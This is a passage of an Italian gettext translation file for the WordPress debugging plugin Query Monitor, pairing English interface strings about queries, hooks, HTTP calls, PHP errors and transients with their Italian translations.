output/html/caps.php:87 output/html/environment.php:81 #: output/html/environment.php:159 msgid "User" msgstr "Utente" #: output/html/caps.php:79 msgid "Capability Check" msgstr "Controllo di capacità" #: output/html/caps.php:30 msgid "Capability Checks" msgstr "Controlli di capacità" #. translators: %s: Number of transient values that were updated #: output/html/transients.php:148 msgid "Transient Updates (%s)" msgstr "Aggiornamenti del transient (%s)" #: output/html/transients.php:51 msgctxt "size of transient value" msgid "Size" msgstr "Dimensione" #: output/html/transients.php:48 msgctxt "transient type" msgid "Type" msgstr "Tipo" #: output/html/transients.php:46 msgid "Updated Transient" msgstr "Transient aggiornato" #: output/html/transients.php:146 msgid "Transient Updates" msgstr "Aggiornamenti del transient" #: output/html/request.php:107 msgid "View Main Query" msgstr "Vedi la query principale" #. translators: %s: Number of calls to the HTTP API #: output/html/http.php:406 msgid "HTTP API Calls (%s)" msgstr "Chiamate HTTP API (%s)" #: output/html/http.php:72 msgid "Status" msgstr "Stato" #: output/html/http.php:31 output/html/http.php:404 #: output/html/overview.php:229 output/raw/http.php:21 msgid "HTTP API Calls" msgstr "Chiamate HTTP API" #: output/html/environment.php:126 msgid "Extensions" msgstr "Estensioni" #: output/html/environment.php:111 msgid "Error Reporting" msgstr "Segnalazione errori" #: output/html/hooks.php:33 msgid "Hooks & Actions" msgstr "Hook e azioni" #: output/html/db_queries.php:237 output/html/db_queries.php:423 msgid "Main Query" msgstr "Query principale" #. translators: 1: Cache hit rate percentage, 2: number of cache hits, 3: #. number of cache misses #: output/html/overview.php:273 msgid "%1$s%% hit rate (%2$s hits, %3$s misses)" msgstr "%1$s%% percentuale di hit (%2$s hit, %3$s miss)" #: output/html/theme.php:133 msgid "Template Hierarchy" msgstr "Gerarchia di template" #: output/html/php_errors.php:57 msgctxt "Suppressed PHP error level" msgid "Deprecated (Suppressed)" msgstr "Deprecated (Soppresso)" #: output/html/php_errors.php:56 msgctxt "Suppressed PHP error level" msgid "Strict (Suppressed)" msgstr "Strict (Soppresso)" #: output/html/php_errors.php:55 msgctxt "Suppressed PHP error level" msgid "Notice (Suppressed)" msgstr "Notice (Soppresso)" #: output/html/php_errors.php:54 msgctxt "Suppressed PHP error level" msgid "Warning (Suppressed)" msgstr "Warning (Soppresso)" #: output/html/assets.php:68 msgid "Position" msgstr "Posizione" #: output/html/assets.php:55 msgid "Footer" msgstr "Footer" #: output/html/assets.php:54 msgid "Header" msgstr "Header" #: output/html/assets.php:51 msgid "Missing" msgstr "Mancante" #: output/html/admin.php:54 output/html/admin.php:76 output/html/headers.php:85 msgid "Value" msgstr "Valore" #: output/html/admin.php:53 msgid "Property" msgstr "Proprietà" #. translators: 1: Post type name, 2: Post ID #: collectors/request.php:251 msgid "Single %1$s: #%2$d" msgstr "Single %1$s: #%2$d" #. translators: %d: Multisite site ID #: collectors/request.php:168 msgid "Current Site: #%d" msgstr "Sito corrente: #%d" #: output/html/php_errors.php:51 msgctxt "PHP error level" msgid "Deprecated" msgstr "Deprecated" #: output/html/php_errors.php:50 msgctxt "PHP error level" msgid "Strict" msgstr "Strict" #: output/html/php_errors.php:49 msgctxt "PHP error level" msgid "Notice" msgstr "Notice" #: output/html/php_errors.php:48 msgctxt "PHP error level" msgid "Warning" msgstr "Warning" #. translators: An HTTP API request was not executed. %s: Hook name #: output/html/http.php:103 msgid "Request not executed due to a filter on %s" msgstr "Richiesta non eseguita a causa di un filtro su %s" #. translators: Undefined PHP constant #: classes/Collector.php:122 msgid "undefined" msgstr "non definito" #: output/html/theme.php:140 msgid "Template Parts" msgstr "Parti del template" #: output/html/overview.php:261 output/raw/cache.php:21 msgid "Object Cache" msgstr "Cache oggetto" #. translators: An HTTP API request has disabled certificate verification. 1: #. Relevant argument name #: output/html/http.php:145 msgid "Certificate verification disabled (%s)" msgstr "Verifica del certificato disabilitata (%s)" #. translators: %s: Number of duplicate database queries #: output/html/db_dupes.php:154 msgid "Duplicate Queries (%s)" msgstr "Query duplicate (%s)" #. translators: %s: Number of calls to a PHP function #: output/html/db_dupes.php:65 msgid "%s call" msgid_plural "%s calls" msgstr[0] "%s chiamata" msgstr[1] "%s chiamate" #: output/html/db_dupes.php:57 msgid "Potential Troublemakers" msgstr "Possibili problemi" #: output/html/db_dupes.php:55 msgid "Components" msgstr "Componenti" #: output/html/db_dupes.php:53 msgid "Callers" msgstr "Caller" #: output/html/db_dupes.php:31 msgid "Duplicate Queries" msgstr "Query duplicate" #. translators: %s: Plugin name #: classes/Component_MU_Plugin.php:12 classes/Component_MU_Vendor.php:12 msgid "MU Plugin: %s" msgstr "Plugin MU: %s" #: output/html/php_errors.php:160 msgid "Unknown location" msgstr "Posizione sconosciuta" #: output/html/db_callers.php:111 output/html/languages.php:137 #: output/html/overview.php:221 output/html/overview.php:253 #: output/html/theme.php:177 msgid "None" msgstr "Nessuno" #: output/html/request.php:80 msgid "All Matching Rewrite Rules" msgstr "Tutte le regole di riscrittura in azione" #: output/html/languages.php:151 msgid "Not Found" msgstr "Non trovato" #: output/html/languages.php:92 msgid "Text Domain" msgstr "Text domain" #: output/html/environment.php:274 msgid "Software" msgstr "Software" #: output/html/environment.php:150 output/html/environment.php:161 msgid "Database" msgstr "Database" #. translators: 1: Name of PHP constant, 2: Value of PHP constant #: output/html/db_queries.php:73 msgid "No database queries were logged because the %1$s constant is set to %2$s." msgstr "Nessuna query di database è stata registrata in quanto la costante %1$s è impostata a %2$s." #: output/html/languages.php:30 msgid "Languages" msgstr "Lingue" #. Author of the plugin #: query-monitor.php msgid "John Blackbourn" msgstr "John Blackbourn" #. Plugin URI of the plugin #. Author URI of the plugin #: query-monitor.php msgid "https://querymonitor.com/" msgstr "https://querymonitor.com/" #. translators: %s: Symlink file location #: classes/QueryMonitor.php:185 msgid "The symlink at %s is no longer pointing to the correct location. Please remove the symlink, then deactivate and reactivate Query Monitor." msgstr "Il link simbolico in %s non punta più alla posizione corretta. Rimuovi il link simbolico e poi disattiva e riattiva Query Monitor." #: output/html/transients.php:50 msgid "Expiration" msgstr "Scadenza" #: output/Html.php:175 output/html/hooks.php:63 output/html/languages.php:93 msgid "Type" msgstr "Tipo" #. translators: %s: Template file name #: output/html/theme.php:260 msgid "Template: %s" msgstr "Template: %s" #: output/html/theme.php:219 msgid "Body Classes" msgstr "Classi del body" #: output/html/theme.php:113 msgid "Template File" msgstr "File del template" #. translators: %s: Number of additional query variables #: output/html/request.php:225 msgid "Request (+%s)" msgstr "Richiesta (+%s)" #: output/html/request.php:149 msgid "Queried Object" msgstr "Oggetto interrogato" #: output/html/multisite.php:27 output/html/request.php:175 msgid "Multisite" msgstr "Multisite" #: output/html/request.php:100 msgid "Query Vars" msgstr "Variabili della query" #: output/html/request.php:52 msgid "Query String" msgstr "Stringa della query" #: output/html/request.php:51 msgid "Matched Query" msgstr "Query corrisposta" #: output/html/request.php:50 msgid "Matched Rule" msgstr "Regola corrisposta" #: output/html/php_errors.php:80 msgid "Location" msgstr "Luogo dell'evento" #: output/html/db_dupes.php:51 output/html/php_errors.php:81 msgid "Count" msgstr "Conteggio" #. translators: %s: Memory used in kilobytes #: output/html/http.php:226 output/html/http.php:232 #: output/html/languages.php:145 output/html/languages.php:168 msgid "%s kB" msgstr "%s kB" #: output/html/overview.php:139 msgid "Peak Memory Usage" msgstr "Picco di utilizzo della memoria" #: output/html/overview.php:100 msgid "Page Generation Time" msgstr "Tempo di generazione della pagina" #. translators: 1: Percentage of time limit used, 2: Time limit in seconds #: output/headers/overview.php:32 output/html/overview.php:119 msgid "%1$s%% of %2$ss limit" msgstr "%1$s%% di %2$ss limite" #: output/html/http.php:82 msgid "Timeout" msgstr "Scadenza" #: output/html/request.php:148 msgid "Response" msgstr "Risposta" #. translators: %s: Error message text #: output/html/block_editor.php:275 output/html/hooks.php:208 msgid "Error: %s" msgstr "Errore: %s" #. translators: %s: Action name #: output/html/hooks.php:152 msgid "Warning: The %s action is extremely resource intensive. Try to avoid using it." msgstr "Avviso: L’azione %s è estremamente ad alta intensità di risorse. Cerca di evitare il suo utilizzo." #: output/Html.php:143 output/html/hooks.php:55 output/html/hooks.php:61 #: output/html/hooks.php:160 msgid "Action" msgstr "Azione" #: output/Html.php:174 output/html/hooks.php:69 msgid "Hook" msgstr "Hook" #: output/html/environment.php:271 msgid "Server" msgstr "Server" #: classes/QueryMonitor.php:62 output/html/environment.php:56 #: output/html/environment.php:230 output/html/environment.php:249 msgid "Help" msgstr "Aiuto" #. translators: %s: Number of slow database queries #: output/html/db_queries.php:579 msgid "Slow Queries (%s)" msgstr "Query lente (%s)" #. translators: %s: Number of database errors #: output/html/db_queries.php:565 msgid "Database Errors (%s)" msgstr "Errori del database (%s)" #: output/html/db_queries.php:136 output/html/db_queries.php:265 msgid "Rows" msgstr "Righe" #: output/html/caps.php:93 output/html/db_callers.php:51 #: output/html/db_queries.php:95 output/html/db_queries.php:129 #: output/html/db_queries.php:243 output/html/doing_it_wrong.php:70 #: output/html/http.php:74 output/html/languages.php:94 #: output/html/logger.php:86 output/html/multisite.php:53 #: output/html/transients.php:52 msgid "Caller" msgstr "Caller" #. translators: %s: Database query time in seconds #: output/html/db_queries.php:121 msgid "Slow Database Queries (above %ss)" msgstr "Query del database lente (sopra %ss)" #: output/Html.php:178 output/html/caps.php:96 output/html/db_components.php:51 #: output/html/db_queries.php:96 output/html/db_queries.php:132 #: output/html/db_queries.php:254 output/html/doing_it_wrong.php:71 #: output/html/hooks.php:76 output/html/http.php:79 output/html/logger.php:89 #: output/html/multisite.php:56 output/html/php_errors.php:84 #: output/html/timing.php:64 output/html/transients.php:53 msgid "Component" msgstr "Componente" #: dispatchers/WP_Die.php:127 msgid "Call stack:" msgstr "Stack di chiamate:" #: output/html/db_dupes.php:50 output/html/db_queries.php:94 #: output/html/db_queries.php:128 output/html/db_queries.php:230 msgid "Query" msgstr "Query" #: output/html/db_queries.php:90 msgid "Database Errors" msgstr "Errori del database" #: output/html/db_callers.php:60 output/html/db_components.php:60 #: output/html/db_dupes.php:52 output/html/db_queries.php:139 #: output/html/db_queries.php:270 output/html/http.php:83 #: output/html/timing.php:62 msgid "Time" msgstr "Tempo" #. translators: %s: Name of missing script or style dependency #: output/html/assets.php:144 msgid "%s (missing)" msgstr "%s (mancante)" #: output/html/request.php:65 output/html/request.php:141 #: output/html/request.php:160 output/html/request.php:171 #: output/html/transients.php:77 msgid "none" msgstr "nessuno" #: output/html/assets.php:85 output/html/environment.php:62 #: output/html/environment.php:220 output/html/environment.php:275 msgid "Version" msgstr "Versione" #: output/html/assets.php:83 msgid "Dependents" msgstr "Dipendenti" #: output/html/assets.php:80 msgid "Dependencies" msgstr "Dipendenze" #: output/html/assets_styles.php:25 output/html/assets_styles.php:35 msgid "Styles" msgstr "Stili" #: output/html/assets_scripts.php:25 output/html/assets_scripts.php:35 msgid "Scripts" msgstr "Script" #: output/html/admin.php:112 msgid "Column Action:" msgstr "Colonna azione:" #: output/html/admin.php:109 msgid "Column Filters:" msgstr "Colonna filtri:" #: output/Html.php:316 msgctxt "\"All\" option for filters" msgid "All" msgstr "Tutte" #: dispatchers/Html.php:549 msgid "Clear authentication cookie" msgstr "Cancella cookie di autenticazione" #: dispatchers/Html.php:550 msgid "Set authentication cookie" msgstr "Imposta cookie di autenticazione" #: dispatchers/Html.php:558 msgid "Authentication" msgstr "Autenticazione" #: dispatchers/Html.php:257 msgid "PHP Errors in Ajax Response" msgstr "Errori PHP nella risposta AJAX" #. Plugin Name of the plugin #: query-monitor.php classes/QueryMonitor.php:199 classes/QueryMonitor.php:232 #: dispatchers/Html.php:147 dispatchers/Html.php:448 dispatchers/Html.php:841 #: dispatchers/WP_Die.php:132 msgid "Query Monitor" msgstr "Query Monitor" #: output/html/transients.php:30 output/raw/transients.php:21 msgid "Transients" msgstr "Transient" #: collectors/request.php:288 msgid "Unknown queried object" msgstr "Oggetto interrogato sconosciuto" #. translators: %s: Post type name #: collectors/request.php:281 msgid "Post type archive: %s" msgstr "Archivio post type: %s" #. translators: %s: Taxonomy term name #: collectors/request.php:271 msgid "Term archive: %s" msgstr "Archivio termine: %s" #. translators: %s: Author name #: collectors/request.php:261 msgid "Author archive: %s" msgstr "Archivio autore: %s" #: output/html/request.php:30 output/html/request.php:49 #: output/html/request.php:223 msgid "Request" msgstr "Richiesta" #: output/html/php_errors.php:32 output/html/php_errors.php:304 msgid "PHP Errors" msgstr "Errori PHP" #: dispatchers/Html.php:455 dispatchers/Html.php:504 #: output/html/overview.php:30 msgid "Overview" msgstr "Panoramica" #: output/html/http.php:54 msgid "Error" msgstr "Errore" #. translators: An HTTP API request timed out #: output/html/http.php:109 msgid "Request timed out" msgstr "Tempo per la richiesta scaduto" #: output/html/environment.php:30 msgid "Environment" msgstr "Ambiente" #: output/html/db_queries.php:38 output/html/db_queries.php:553 #: output/html/overview.php:183 output/raw/db_queries.php:26 msgid "Database Queries" msgstr "Query del database" #: output/html/db_components.php:30 output/html/db_components.php:127 msgid "Queries by Component" msgstr "Query per componente" #: output/html/db_callers.php:30 output/html/db_callers.php:131 msgid "Queries by Caller" msgstr "Query per chiamante" #: output/html/conditionals.php:31 output/html/conditionals.php:107 #: output/raw/conditionals.php:21 msgid "Conditionals" msgstr "Tag condizionali" #: output/html/admin.php:30 msgid "Admin Screen" msgstr "Schermata amministrazione" #. translators: A closure is an anonymous PHP function. 1: Line number, 2: File #. name #: classes/Util.php:414 output/Html.php:508 msgid "Closure on line %1$d of %2$s" msgstr "Closure alla riga %1$d del file %2$s" #: classes/Component_Unknown.php:10 output/html/db_queries.php:346 #: output/html/db_queries.php:442 output/html/environment.php:70 #: output/html/environment.php:77 output/html/environment.php:85 #: output/html/environment.php:171 output/html/environment.php:293 #: output/html/overview.php:143 output/html/php_errors.php:186 #: output/html/request.php:153 output/html/theme.php:128 #: output/html/theme.php:254 msgid "Unknown" msgstr "Sconosciuto" #: classes/Component_Template.php:10 output/html/theme.php:64 msgid "Parent Theme" msgstr "Tema genitore" #: classes/Component_Stylesheet.php:14 output/html/theme.php:31 #: output/html/theme.php:48 msgid "Theme" msgstr "Tema" #: classes/Component_Stylesheet.php:11 msgid "Child Theme" msgstr "Tema child" #. translators: %s: Plugin name #: classes/Component_VIP_Plugin.php:12 msgid "VIP Plugin: %s" msgstr "VIP Plugin: %s" #. translators: %s: Plugin name #: classes/Component_Plugin.php:12 msgid "Plugin: %s" msgstr "Plugin: %s"